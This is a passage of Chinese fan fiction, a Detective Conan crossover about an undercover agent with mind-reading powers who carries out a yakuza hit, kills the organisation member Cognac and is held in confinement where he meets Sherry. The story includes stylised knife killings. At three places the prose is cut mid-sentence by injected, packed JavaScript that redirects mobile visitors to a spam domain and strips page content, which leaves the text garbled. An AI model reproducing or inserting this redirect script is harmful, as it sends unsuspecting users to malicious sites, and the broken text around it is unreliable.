他看着眼前的猫眼青年,今天他换了一套黑色的连帽卫衣,不过还是背着那个同样的吉他包。 碧川光——诸伏景光。 对方没有完全信任他,给他报的假名,很巧不是吗,他也给对方报的假名。 竹取想到了那天在精神画布里瞄到的名字,他发誓自己真不是有意窥探他人隐私,那个大名在画布上实在太明显,也确实只有自己的真名会占用这么一大块位置。 自己需要怎么做才能拉近他和他之间的距离?他们需要快速凑成合作,需要达成在自己人里一定要说真话的共识。 他可以通过异能来判断,但是对方不行。 这位诸伏警官不曾与他相识,按照正常的流程推测,他们之间可能还需要很长一段时间的试探。 可是时间不等人。 竹取无尘下意识用手指在自己衣服上画着圈。 一时无言,沉默在两人之间快实质化掉到地上。 直到那位情报人员进来打破了这个沉重的气氛。 金发,黑皮,瞳色灰紫,眼形较圆。 竹取无尘盯着对面,又是一哽。 救命啊!他见过这个人——在诸伏景光精神画布的另外一块显眼的地,同样占据了很大的面积。 这个不会就是那个把缓释解药片减少剂量切片的那个狠人卧底吧? 所以。 日本警方是派出了两位很熟的朋友一起来卧底吗? “你好,我的代号是波本。” Bourbon Whiskey “你好,我的代号是珀洛塞可,请多指教。” 呵呵,三个卧底一台戏。 这算好事,还是算坏事呢? 好消息是另外两位卧底不用相互试探了,这位金发青年肯定也知道了他的身份。 坏消息是现在这两个人会一起来对他进行长时间的试探,而他确实没有耐心在已知二人都是卧底的情况下,还陪他们演戏。 他说过了,时间不等人。 竹取无尘扶额,熟悉的头痛又在攻击他。 这个世界到底怎么回事啊! 5. 第 5 章 011 还有一个坏消息:他知道得有点多了,而这并不符合他长久以来的职业习惯。 竹取无尘还在盯着波本,手里扭着自己衣服的一角。 这几天他一直处于高强度的左右脑互搏中,他不知道自己该不该这么动用异能,他不知道自己应不应该知道这么多——不动用异能,什么都不知道的话,他可能会在无意间把刀捅到自己人身上,但是动用了异能,什么都知道的话,他怕等自己暴露之后会说出什么不该说的,连累这些年轻的搜查官。 不要说什么他不会暴露之类的话,一个机构连着派遣两个人先后进入同一个组织卧底是为了什么?好难猜啊。 总不能是这个机构真的缺根筋吧。 他接受过异能力上的抗洗脑训练,并且作为精神系能力者,他拥有一定的反制手段,但是不确定扛不扛得住这个世界的科技,毕竟在他的视角,这个组织拿出来的东西已经诡异得可以。 还有一个办法——作为阿蒂斯异能者的办法。竹取无尘缓慢地眨眼。那个办法是—— “所以这个任务的主要情况就是这样。” “好的,那我们…” “……” “?” “珀洛塞可?” “…………” “珀洛塞可??” “…………”依旧无人回答。 “石原君!” 诸伏景光提高了音量,叫回了这个不知道为什么神游天外的黑发青年。 “啊…啊?噢噢噢抱歉,抱歉。”竹取无尘被从思绪短暂的凝滞中捞回,意识到自己完全走神,疑似无视了这位波本的一大段话,一脸歉意地带着略微谄媚的笑,看着对面。 “不好意思啊波本大人,昨天晚上实在是睡得太晚了,您能再讲一遍吗?” “我凌晨四点还在回琴酒大人的消息呢!” 自己还得装不知道对面也是卧底,还得这么作呕的笑———所以到底为什么面对自己人也要这么演啊! 波本:? 波本看着黑发青年的笑脸,波本沉默。 这算什么?honey trap吗? 这是哪门子的honey trap,honey fake差不多吧。 他虽然从幼驯染嘴里听到了这个人貌似是同僚,不过对方怎么是这个风格!有没有人帮忙拿个镜子让他自己照一照,他知不知道现在他笑得有多恶心啊! “总的来说。”优秀的警察厅公安卧底降谷零AKA波本深吸一口气,“山口组背着我们和对立商业方进行药剂交易,我们需要在今天晚上阻止这场交易,并且——” “并且由这位碧川先行狙击在顶楼进行交易的两名头目,而你,珀洛塞可,对面维护交易进行的人数在十人上下,你需要在狙击开始之前把十人清场,狙击开始之后如果导致交易现场人员动线混乱,你需要亲自进入交易现场清场掉存活人员,确认交易头目死亡,拿回交易药剂。” 噢噢,黑/吃/黑。竹取无尘的手指在桌子上磨蹭着转圈,黑/吃/黑好啊,黑/吃/黑心理压力小。不过要弄死这么多人吗?他一个人? “我一个人?”他这么问了。“真的假的?” “是的,琴酒那边并没有告知我还有别的人协助。” “时间地点呢?” “后天晚上十一点,东京都新宿区市谷左内町1-501。” “是个废弃居民楼?” “是的。” 这样啊…竹取无尘点点头。看起来组织方有点迫不及待地想让他杀人来创造点把柄了,毕竟自己的考核任务……额……他想起来那两个被他顺路丢进警局的炸/弹/犯。 确实很投机取巧。 “我知道了,真是辛苦大人您再给我讲一遍了呢。”他重新挂上那副看似无害的笑,目光转向诸伏景光。 “碧川大人!您一定要枪下留情啊,等我去拿回药剂的时候,您可千万不要把我崩了啊!”这一声千万说得那叫一个千回百转千娇百媚…啊不对,是千姿百态,不知道声音的主人到底想恶心谁。 诸伏景光听到这一腔莫名其妙的语调,诸伏景光沉默。 “好的…珀洛塞可大人。” 诸伏景光觉得自己很有必要在以后提醒一下珀洛塞可——他的演技真的很烂。 012 【电脑通讯】C:任务报告已上传 【电脑通讯】:任务已准入,配合其行动,我方不会加以干涉 【电脑通讯】:尽可能获取交易药剂信息 精神力值恢复至90% 黄昏,残阳像火,它缄默,俯瞰着一切。 013 “我这边准备完毕,你那边可以开始了。”诸伏景光按着蓝牙耳机,保证通讯信号良好,他伏在距离任务目标视野最佳的高楼,瞄准镜下,暴露的生命一览无余。 “现在是晚上十一点二十五,我是代号成员波本,珀洛塞可,我会协助你清场,请你尽可能围绕窗户、阳台、走廊等视野开阔地带行动,离窗太远的话我没法帮你。”年轻卧底冷硬的声音同样从蓝牙耳机内传来,他拿着望远镜,站在不同于诸伏景光的高楼内部,视野刚刚好盯住每层房间大开的窗和露天连廊。“交易物品是二十枚针剂,在蓝色手提箱内,请完整带回。” “好的,我清楚了。” “楼底有两位成员在看守,波本,我需要你帮我盯着有没有人从楼上下来。” 竹取无尘带着黑色鸭舌帽,裹着一件黑色棒球衫蹲在居民楼边上的绿化带中,调试着另一边耳朵带着的耳麦形变声器,和耳机里两名卧底对着消息。 三个卧底一台戏,这下是真的明明都是卧底却都不敢造反了——毕竟谁也不知道这场任务会不会有第四双眼睛盯着。 “他们刚好上去,这是最佳行动时机。” “好的” 黑发青年套着一双和棒球衫不太搭的皮革手套,慢悠悠地晃到了居民楼入口。 “喂,小子,你哪儿来的,这里不让进。”站在右边的大汉看着晃晃悠悠走过来的青年,走上前推了一把,把对方往后推了一小步,“有多远滚多远。” “哦呀,是吗?” 竹取无尘微抬头,半露出那双被鸭舌帽遮挡的眼睛。 “我还以为———” 要快,要不惊扰楼上,枪械是行不通的。 手中横握着的短刀快速从对方脖颈擦过。颈动脉喷出的血迹霎时间污染了整张脸的和谐,男人应声倒地。 第一个人。 “什———” 站在右边的看守刚想拨通蓝牙耳机传讯,却发现自己嗓子好像漏气了一样,什么都说不出来,什么都咽不下去。 血溅在了地上,喉咙里还留着嘶嘶的声响,却又很快消弥不见。 第二个人。 “我还以为是你们请我来的呢。” 尸体上的蓝牙耳机反复亮起,看起来是刚刚的通讯还是打扰到了楼上的人,不过也只是小问题。 “楼下出了什么事?” “没什么事。”竹取无尘开启了变声器和对面沟通着,“一个喝了酒的混混,已经打发走了。” 十一点二十七分。 要快。 “不过哥你能下来一趟吗?”青年又收好刀,踏进大门,“我从那个混混身上弄来了点好东西。” “不下来也没关系的大哥,我一会上去亲自给您。” 还要再快。 二楼,他盯着以同样手法被他杀死的看守。 第三个人。 “他们意识到不对了,珀洛塞可,三楼连廊东西方向各下来了两人,一共四人,他们要夹击。” 降谷零喉咙有点干涩,他望着手法娴熟的竹取无尘——他甚至没有用枪,什么样的人会有这么熟练的冷兵器杀/人/技。 “知道了。” 不能让他们开枪。珀洛塞可俯身冲向前,闪过了最前面打手手上的刀刃,一脚踹翻了后方拿着枪械的男人,又是一刀封/喉。 第四个人。 “注意后面!” 珀洛猛地抬眼,黑色的瞳孔凝望着那个在他身后即将开枪的男人,两股视线对撞之间,瞳孔貌似四散着逃跑,恐惧的声音贯彻了对面男人的耳朵,他那只扣下扳机的手指一滞——就是这个停顿,葬送了他一生不长的罪恶。 第五个人。 精神力值降低至80%。 一点点的小伎俩,珀洛塞可轻笑,转手又把短刃插进了另一人的脖子,抽出来的时候略微有点阻/涩,带出来腥/腻的血,溅进他的眼睛里——这算不算职业暴露?——他祈祷这个男人千万别有血液传染病。 思虑间,已经一地的尸体。 第六、第七个。 “还有几个?” 十一点二十九分。 他有点慢了。 “两个在顶楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427642|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间外,还有三人在交易房间内,先处理门外那两个。” “好的” 珀洛塞可卡在楼梯的夹角,距离两名极道成员约五米不到的位置,揉了揉发酸的手腕,再一次感谢这个任务是黑/吃/黑。黑/吃黑/好啊,起码他可以守在道德制高点。 还需要等待三十秒——杀了其中一个,另一个可能会直接开门打断里面的交易,诸伏景光那边的狙击就会乱,他要等,等那个开枪的时机。 十一点三十整。 “砰!” 子弹从数百米外飞来,击碎玻璃穿透那个背靠窗户的人的头/颅。 “欻。” 门口右边守着的极道成员开门的瞬间,左边成员的视线被外开门遮挡,珀洛塞可迅速从楼梯间窜出,从背后了结了这个刚刚在不停打哈切发呆磨蹭地毯的成员。 第八个。 “砰!” 第二发子弹,在房间内所有人都没反应过来的时候接着射出,为站在交易头目身边的保镖带来了死亡。 “你怎么——” 站在门右边的成员惊讶于这个带着鸭舌帽的男人是从哪里窜出来的,正要伸手掏出枪,然后———没有然后。珀洛塞可惋惜于年轻生命的逝去,哪怕他们是犯罪人员,也应该送由法律审判。 没人有资格代表正义。 第九个。 “狙击手对交易方的视线丢失了,珀洛塞可,还有一个人,解决他。” 今天只是负责来交钱拿东西的男人看着这一地的尸体,腿软地从沙发上滚下来,远离窗户躲进了房间内部——诸伏景光丢失了他的视野。 “你要去哪?” 虽然他没资格代表正义,珀洛塞可用衣角擦了一下短刀,反正是黑色,血不血的谁看得出来——在今天,死神应该是不介意被他代表一下的。他居高临下地看着这个瘫软在地上的男人。 “下辈子,当个普通的好人。” 血蔓延在水泥地上,顺着裂开的地缝越流越远。 第十个。 “走!珀洛塞可!有人发现了门口的尸体,他们报警了!走!” 如果是真·犯罪分子,现在应该下楼把无辜的路人给灭口。竹取无尘抱着还没有关好的手提箱,抽出手提箱内部的使用说明小册子,从二楼阳台飞身跳出,窜进居民楼背后的小道。 但是这是三位卧底的一出戏。 卧底们:……… 快跑啊! 诸伏景光在丢失视野后迅速收起狙击枪,现在已经背着吉他包开车跑路。 降谷零则安安稳稳地放下望远镜,开始给朗姆汇报任务状况。 一身血腥味尚在逃命的竹取无尘:……… 抱着手提箱跑路还要抽空背针剂使用说明的竹取无尘:………… 琴酒,你这都给我安排的什么任务!最好,你最好祈祷——不要哪天落在我手上。 黑发青年咬牙切齿。 014 河堤。 竹取费力地处理好带血的衣物和刀具,正趴在边上的草丛里一边背针剂使用说明一边等诸伏景光的接应———这该死的针剂怎么又是精神类药品,什么叫配合THK004使用可以用于审//讯,什么叫可以破坏人的中枢神经系统,什么叫临床催//眠效果好? 这世界所有的科技点都用来研究怎么折腾人的大脑了吗?? 声响从他身边传来——是皮鞋踩过草地和湿泥的声音。 “你是谁?” “哈哈哈哈新人小朋友,别害怕,我的代号是干邑。”男人有一头棕色的长发,此刻他正一边用手指卷着头发一边向竹取无尘走来。“原本gin那边让我来盯着你们的行动,但是我看你们行动挺顺利的嘛。” “现在,把东西给我,你该上哪去上哪去。” 竹取无尘盯着干邑枯黑的眼睛。 精神力值降低至30% 『他该怎么做才能快速促成三位卧底的合作?』 一个计划油然而生。 015 “我在接头地点没找到珀洛塞可。”诸伏景光开着车绕着河堤转了两大圈,车都要没油了。 “你有他的消息吗?” 降谷零盯着一直在跳的消息提醒,瞳孔紧缩,不知道该怎么讲这件事。 他张了张嘴。 “他出事了。” “他把干邑杀了。” 降谷零听到自己这样说。 6. 第 6 章 016 事情很复杂。 竹取无尘带着手/铐坐在组织禁闭室无所事事,他靠着墙,一溜一下顺着坐了下去,抬头看着禁闭室的天窗。 窗户不大,有几个钢柱把本就不大的窗口进行了隔断,有光束从外面打进来,显现出起起伏伏的灰尘。简而言之,根本不可能从那里钻出去。 不过他也没打算逃就是了。 事情也很简单。 他勾起嘴角,看着自己已经恢复到百分百的精神力条,计算着自己大概被琴酒丢进来有三四天了。 这是一场赌//博。 其实他也不想这么冒进的,他或许应该慢慢地,慢慢地渗透这个组织,慢慢地取得诸伏景光和波本的信任,慢慢地获取琴酒的信任。 但是时间来不及,他也等不起,这个世界科技更迭太快了。再等下去,还有人会死。 【为了一切的正义,和不必要的牺牲】 【我们是在救更多的人】 在杀死干邑的那一瞬间,他问自己怎么就这么敢赌。 不怕赌输了,把诸伏景光和那个金发卧底的命一起陪进去吗? 不会的。他回答自己。不会赔进去的。 就算输了,死的也只会是他自己。 更何况——他不会输。 他还得出去,那个针剂的作用还在他脑子里。 在这之前,竹取无尘的处境很尴尬。诸伏景光等一类的卧底不是很信任他,这是当然的,他们只见过一面,还有组织里精神药物的压力,要是只见过第一面就全权信任,他才要回去问问警视厅是怎么培养人的。他是刚拿到代号的组织新人,还处于被药/物/控/制的阶段,琴酒一类的高层也不信任他,这也是必然的。 他需要创造一个机会,他要告诉诸伏景光和波本,那点药物奈何不了他,他们需要更深层次的合作。他要告诉琴酒,他被药物控制得很好,是一把好用的刀,这把刀不会冲向组织的人员。 他要一个机会,一个舞台。 原本他是想等着六十天那个药效发作,确认一下会不会影响到他的精神画布后再采取行动的。 可是那个机会太诱人了——真的太诱人了—— 那天晚上,他眼看着干邑朝他走过来,他用了50%的精神力,透过那双枯黑昏黄的眼,看到那张令人作呕的精神画布。 罪恶,欲望——凌乱的涂鸦一层叠一层——尸体,皮囊———这个人犯过很多罪,杀过人,那些人像收藏品一样被他放在画布最显眼的地方被精心展览,其显眼程度甚至大于了他的真名。 这玩意还能叫人吗? 那时竹取无尘舔了舔干涩的唇角,他刚刚才逃过了警方的追踪,没有补充任何食物或者水,这隐隐有点影响他的思考能力。 要不要抓住这个机会呢? “喂,小子,我和你说话呢,把东西———” 气喘的声音,冒着血沫,代替了后半段的发言。 那一团肉很快砸在地上,声音被土壤吞下。 哦呀,手比脑子快了一步。 血飞溅到河流里,那天的月亮像弯刀,月光撒在潺潺的水波上,混着血红色一起流淌。 有风飘过。 有罪的石头啊,回到最初的原点吧。 竹取无尘又用衣服擦了擦刀,刚刚处理掉一堆混了血的衣服,身上这件是他随便抓出来的白色衬衣,甚至是揉成一团塞包里,丢在居民楼旁边的绿化带里带过来的。现在这件衣服也脏了!他已经没有多的上衣了!青年苦恼地扶额,他低头望着这一身的血红,在思考裸着上半身回去的可能性。 原来如此,这就是为什么这个组织的大家出任务都要穿黑衣服吗。 竹取莫名赞美了一下琴酒的机智。 不过。黑发青年低头,看着倒在地上的尸体。他刚刚是不是撇到了什么东西在这个人胸口闪着光? 竹取无尘蹲下,扯开干邑的黑色衬衣,看见那人心脏上贴着的物品,愣住了。 心脏讯号监视器,附赠一个信号发射的装备——由于被监视人已经死亡,现在正在噼里啪啦闪着又蓝又绿的光,就差没有长嘴告诉他:我已经通知别人我死掉啦! “噗呲”竹取无尘忍不住了。“噗…哈哈哈哈哈哈哈哈哈哈哈哈……”什么是机会!机会找上门来他挡都挡不住啊! 笑累了,青年彻底躺在了河堤的湿泥上,有些许没长好的草毛茸茸地被他压在身下,凝望着天上的弯月。 这个世界的月亮很漂亮,他曾经觉得月亮就该是这样的,像一阵安稳的睡眠,是梦境最本真的样子。 他现在也不用想怎么通知组织的人找到干邑的尸体了,也不用想穿着带血的衬衣钻进车会不会被交警拦路了。竹取无尘稳稳地陷在泥土里,或许这就是他肉//体最该回到的地方。他闭眼,仿佛远离了一切哭声。 来的人会是谁呢? 是见过的、还是没见过的呢… 来的人好慢。 他今天运动量很大,他快睡着了。 来的人怎么…… “珀洛塞可!” 噢,有人来了。 017 琴酒和伏特加收到了死亡通讯,赶过来的时候看到的就是这么一副画面。 珀洛塞可安详地躺在地上,旁边是凌乱的血,蓝色手提箱规规整整地放在一旁,还有干邑的尸体——脖子上的裂口已经干涸了,可眼睛还瞪得浑圆。 竹取无尘听到来人是熟悉的伏特加,他强压住嘴角的笑,开始演: 珀洛塞可听到了来人的声音,猛地从地上跳起,手下意识去摸揣在兜里的武器,却又在抬头看见来人是琴酒和伏特加的时候卸了力道,茫然地看着地上的干邑,和面前的两位组织成员。 ———不假,演得一点都不假,演得活灵活现栩栩如生,主演竹取无尘本人是这么评价他的演技的。 珀洛塞可干笑:“琴…琴酒大人。” “你们这是……来接我的?还是收到他的死亡讯息,来抢药剂的……?” 青年摸了摸鼻子。 或许是珀洛塞可真的是累了一天了,又或者是意识到自己好像做错了什么,那标志性的、谄媚的假笑在脸上不见了踪影。 琴酒:………… 组织的top killer被演得有点不会了,他现在想一枪崩了他面前这个疑似装傻充愣的人。 “嗤。”他冷笑一声。“你把干邑杀了?” “额……”珀洛塞可持续性干笑,“他是干邑啊……啊……啊……我说他怎么突然跳出来要抢我东西呢……呵呵…呵……” 啪咔—— 那把熟悉的伯/莱/塔第二次抵上了珀洛塞可的眉心,搭在扳机上的手指隐隐有收紧的趋势。 “你给我好好说话” 银发杀手微微歪头,露出帽子下绿色的瞳孔,扫视着面前的人,又歪了歪手枪示意地上的尸体。 “不然你就下去陪他。” ——唉,演不下去了,主演竹取无尘本人遗憾叹气。 琴酒真不懂得欣赏。 “大人,大人。” 竹取无尘收起那一副仿佛没被社会毒打过的脸,重新挂上了一个标志性的微笑。双手举起,露出空无一物的掌心,是一个完全对对方投降的姿势。 “您听我说,我确实不知道这个人是我们的人。”他长长地叹了一口气,双肩下沉,无奈而又顺从地说着。 “我刚从那个楼里抱着药剂跑出来,躲过了警方的追踪,在这里等着碧川的接应,他突然就跳了出来,说着什么臭小子滚一边去,让我把药剂给他。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427643|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “您也知道的,干我们这行的,最忌讳别人抢任务物品,他一靠近,我真的是下意识就把他抹了。”竹取无尘深黑色的瞳孔直视着琴酒,不焦不躁地声音诉说着整件事的经过。 “我看到了他的心脏讯息发射器,就想着他有同僚,或许能等人过来,我好看看是哪一边的人,到时候如果能的话,清除掉就一起清除掉了,如果不能的话,那就发消息给波本,然后拖延时间,等碧川一来我就上车跑路。” “然后你们就来了。” 竹取还是那一副投降的姿势,顶着琴酒的伯/莱/塔,甚至上前了一步,那枪口抵着眉间,压下去了一个凹。 “您也知道的,大人,我吃了你们的药,除非我不想活了,否则我怎么可能做出自相残杀的事情呢?” “我完全听从您的话呀,琴酒大人。” 琴酒:………… 伏特加:……… 琴酒:我要吐了。 伏特加隐藏在墨镜下的眉眼有一瞬间的扭曲——他怎么觉得这句话这么怪呢!珀洛塞可这个人不仅笑得恶心,说话也恶心! “我说了让你好好说话!” 琴酒皱眉,目光在干邑的尸体和竹取无尘的笑脸中反复打量——他认为珀洛塞可说的话并非无道理,干邑这个人行事作风如何他也清楚,要不是看在对组织衷心,干邑早就被他一枪崩到不知道哪块地去了。 “他没说他是干邑?” 竹取无尘脸上的笑容莫名更大了。 “他当然说了,大人。”青年眨眨眼。 “不过我们组织的代号是酒名,这是大家都清楚的事情,今天来个干邑,明天来个清酒,后天来个干红葡萄酒,难道我要照单全收?” ———他当然是货真价实的干邑,他精神画布里写着呢!就在他大名的旁边,和那个大名一样大!老天,多么忠诚的成员。 “没有证明的事情,琴酒大人,我可不敢信。更何况无论是您还是波本,都没有告诉我这次任务还有别人的参与,如果这个干邑真的是我们的人,我可不可以理解为———” 他一顿。 “我可不可以理解为,他是想抢我们的东西,背叛组织,然后把这个针剂送回去呢?” ———有道理,太有道理了,竹取无尘感觉他都快把自己说服了,难道他真的是天才? 单纯命令干邑看好执行任务的这三个人的琴酒:………… 这个干邑到底为什么最后要跑过来抢人药剂啊?抢功吗?难不成他真是卧底? 呵呵。琴酒想着。八成是干邑抢功不成反被杀了,珀洛塞可的能力他看过,执行起任务来快准狠,没有一点预兆就往人脖子上招呼。 夜色越来越深了,今夜没有虫鸣。 “呵。” 琴酒收起枪,看着枪口在珀洛塞可眉心上压出来淡淡的痕迹,转身向车里走。 “把人带走,伏特加。” “再随便通知个人来收尸。” “等过两天,说不说就由不得你了。” 伏特加转头看着还在笑的珀洛塞可:“你是自己走,还是我带着你走。” 珀洛塞可终于放下一直举着的双手——真的有点酸,本来今天就累——故意地放大音量:“当然是自己走,毕竟我完全听从于您啊!琴酒大人!” 正在往车里去的琴酒又是一顿——他真的很想毙了他。 竹取无尘呢——竹取无尘走在伏特加前面,琴酒后面,笑得猖狂——太搞笑了,他真的觉得琴酒太搞笑了,他快忍不住笑出声了。 017 当晚,诸伏景光绕河开了两圈车。 诸伏景光开车去加了油。 诸伏景光听到幼驯染说珀洛塞可把干邑杀了。 诸伏景光打消了再开去河边转两圈的想法。 7. 第 7 章 018 【陈无】 你为什么再也不能睁开眼看看我? 你的一切都没了,一切都毁了!你相信的人诅咒你,你救赎的人痛恶你,你的信仰杀了你,这是你想要的吗? 你为什么。 为什么再也回不来了。 最后一个春天。最后一个五月。 我看见月亮了。 是初秋。 【腐烂】 那火焰蹿上他的身体。 阿蒂斯的安魂曲从地缝里钻出来。 睡吧。睡吧。 019 竹取无尘睁着眼睛盯着天花板的白灯。 紧闭室的灯24小时都不会关闭,光亮透过眼皮一次又一次惊扰他的睡眠,再次闭上眼,又能看到那个人最后泛灰的瞳孔——他明明都死了这么久,这么久了。 为什么还要缠着他。 心脏贴片硌着胸口,这玩意也害得他睡不好觉———到底有什么好检测的,是觉得他能一头撞上隔音棉撞死吗? 还有隔壁那个人,每天!每一天!都在心里唉声叹气!叹完气又开始大吼大叫!竹取真的切实感受到他对组织的怒火了,所以能不能不要这么激动了,情绪一放大,心声就开始不受控制地往他耳朵里钻,如果是情报那也就算了,偏偏是各种问候组织高层全家的垃圾话——好吵啊!他的心声真的太吵了啊! 青年烦躁得想摔枕头———不过禁闭室竟然还有枕头,这组织的人文关怀还不错嘛。 有脚步声响起。 竹取无尘抬头看向门口。 有人来了。 “晚上好,雪莉大人。”他抬起一只手和对面打招呼,由于手/铐的原因,连着另一只手也被带起。“您今晚是还没下班还是值班呀” 020 四天前的晚上,诸伏景光接到了琴酒的电话。 “我听说今天晚上是你负责接珀洛塞可。”组织的top killer坐在副驾驶,撇了一眼在后座乖乖坐着的珀洛塞可——那个男人又在笑了。 “是的,琴酒大人。” 诸伏景光那个时候已经回到了安全屋,正准备和警视厅那边联络,先删掉珀洛塞可和公安所有的联络消息,以免东窗事发。 “我听说他杀了干邑大人,您把他带走了,我就先行回来了。” “呵。”对面不轻不重地笑了,混着电流声从扩音器里传出来,听得不真切。 “任务完成得不错,boss那边给你提了一个代号。” “一会儿会有人通知你时间地址。” 电话毫无征兆地挂断。 诸伏景光抬眼,和一旁一直坐在黑暗中的幼驯染对视,摇了摇头。 而另一边,竹取无尘下了车,直接一路被伏特加拽进了禁闭室,甩了个手/铐让他自己带上。 竹取无尘简直觉得荒谬:“大人,我是说,伏特加大人——我,人被关在里面,还要带这个?” “你小子当时干了什么你自己知道。”伏特加莫名地没好气。 竹取无尘:? 他干了什么他怎么不知道? 还想试图和伏特加争执的话语被琴酒正说话的对象打断。他看向那个从旁边实验室走出来的茶发少女——很明显还是个未成年。 青年眯了眯眼,扣上手/铐坐上了禁闭室的床,听着这两个人的对话。 “所以说,gin,他吃了THK004?”少女双手放在衣服兜里,声音冷淡。“那个吃了THK002的cia呢?” ———噢,所以他吃的那个蓝色小药丸就是THK004,而他那天见到的那个cia卧底也许吃的就是THK002。 “死了。”琴酒说,“他是这一批吃THK004的人里最接近六十天的那个,你可以顺路用他化验一下。” 银发杀手想到了什么,又低头嗤笑出声。 “不过他目前还有用,别弄死了,Sherry。” 目送琴酒离开,雪莉转头和坐在床上的黑发青年对视。 “你好呀,雪莉大人。”他嘴角挂着笑,深黑色的瞳孔反射出禁闭室冷白的光。“请多指教。” 021 “所以您今晚是值班?”竹取无尘拉下袖子,遮住抽血的针孔——实际上他这几天在这里呆着也只被抽了两管血,甚至不如去医院体检抽的血多,他抬头看着面前正在整理器械的茶发少女。“好辛苦啊!我看您也没个帮手什么的,这里通常都有多少人啊。” 雪莉扫了一眼竹取:“一般就只有我,和几个看守,今天正好要校对数据。” 她放下手里的器械,声音降了一个度。 “还有,你没必要套我的话。” “很拙劣的套话技术。” “哦呀。”竹取无尘摊了摊手,示意自己的无辜。“被您发现了,您很敏锐。” “可是您为什么又都告诉我了呢?” “不是什么很重要的事,说了就说了。” “况且你迟早要出去的。” 竹取无尘看着少女蓝色瞳孔倒映出的影子,他呼出一口气。 “是啊,我迟早要出去的。” 雪莉转身去了下一个禁闭室,然后又是一阵金属碰撞的声音,混着男人粗俗的怒骂。听起来状况比他这边惨烈多了。 这是一个比较好的讯号,代表琴酒一类的上层目前对他的态度起码是积极且有一定容忍度的。 看起来那个任务完成得不错。 竹取无尘闭眼,听着隔壁的男人嘴上和心里的双重痛骂,权当无聊禁闭的调剂。 直到——“我去你*的臭*子,等维洛拿出THK系列的解剂,我看你***……” 黑发青年猛地睁开眼,嘴角越来越弯,肉眼可见地快要笑出声。 所以啊,人就是不能知道得太多。他站起,因为被打扰到睡眠导致的烦闷一扫而空,竹取由衷地感谢隔壁狱友不稳定的情绪,不然他上哪里找这条情报去。 维洛——THK系列的解剂。 干邑啊干邑,你死得太值了。 竹取无尘非常不道德地这么想。 022 “剂量不够,再给。” “不够,再给!” “他的心率出现了突发性加速,不能再加量了。” “停手!停手!” “停………” “送去抢救!” 竹取无尘被这样一片兵荒马乱的情景吵醒。 他透过门上的窗,看着外面莫名多出来的一大片白衣服实验人员把他对门的狱友从禁闭室里推出,很快就又不见了人影。 雪莉跟在最末尾,缓慢地从那间房里走出来,双手抱在胸口,从衣服的褶皱上不难看出,她正死死捏住双臂,控制着自己的情绪。 但是从心里流露出的话却骗不了人。她的恐慌正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427644|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在泄露着自己的心声。 竹取无尘沉默地听着那断断续续的声音———她在喊她的姐姐。 “姐姐…姐姐。” 那心声短暂又抑制,也许是隐藏着无止境的痛苦。 青年隔着厚厚的玻璃,看着雪莉整理好了外套,心声也逐渐变小直至再也听不见。她路过竹取的门口,和他对视一眼,又匆匆离开。 他们都没说话。 ———这个组织是个吃人的深渊。 他们心知肚明。 023 又是夜晚。 雪莉再一次拿着抽血的器械进入他的禁闭室。 竹取无尘笑着和对面打招呼,配合地捞着自己的袖子——带着手铐真的很费劲。 他们的视线都凝固在抽血的胶管上,暗红的血顺着往上攀升,一时间气氛发闷。 “上午那个人怎么样了?”黑发青年开口。 雪莉瞥了一眼男人的脸,抽回针头,又有血从手臂上的针孔冒出,她看着对面人不方便的手铐,贴心地用棉签往针眼用力一按。 竹取无尘被按得一疼,配合地又“嘶”了一声。 “死了。”少女的声音没带一丝感情。 竹取感觉自己额头的血管在跳。 “这样啊。”他整理着话语。“这不怪您。” “哈。”雪莉突然笑了一声——是嘲弄,她蓝色的瞳孔不带着笑意。 “『这不怪您』?” “你在安慰我?还是你又在套我的话?想知道他是怎么死的?” 少女起身,撞到了面前的金属桌子,划在地上蹭出刺耳的尖锐。 “不管你是怎么想的,你都不会在我这里得到你想要的答案。” “明天你就能出去了。” “我们不会再见面了。” 雪莉存放好采血管,再没有看竹取一眼,砰一下带上门离开,自动锁落锁,只留黑发青年靠在墙上和发酵的气氛独处———他不发一言。 竹取无尘想到了今天清晨。这个代号为雪莉的未成年少女面无表情地从禁闭室走出,那从心声里流淌出的不安、焦虑。她在担心着、思念着什么人?是她的姐姐吗? 他是在安慰她吗? 青年闭目。是一双双闪过的眼睛,是炮火撕开土地的轰响,是肉//体坠落在水泥地的闷声,是人————那些阿蒂斯的人,那些瑟克尔党的人,那些被他杀死的、想杀死他的、他认识的、他不认识的、高尚的、卑劣的人———再到一个星期前居民楼里的人,和今天上午与他素未谋面,盖着一层布被推走的人。 这不怪您。 不是您杀的。 一句好听的顺嘴的话而已,摘录于他自己安慰自己的语录。如果能和她拉进关系,对他的任务自然有益,可惜对方很聪明。 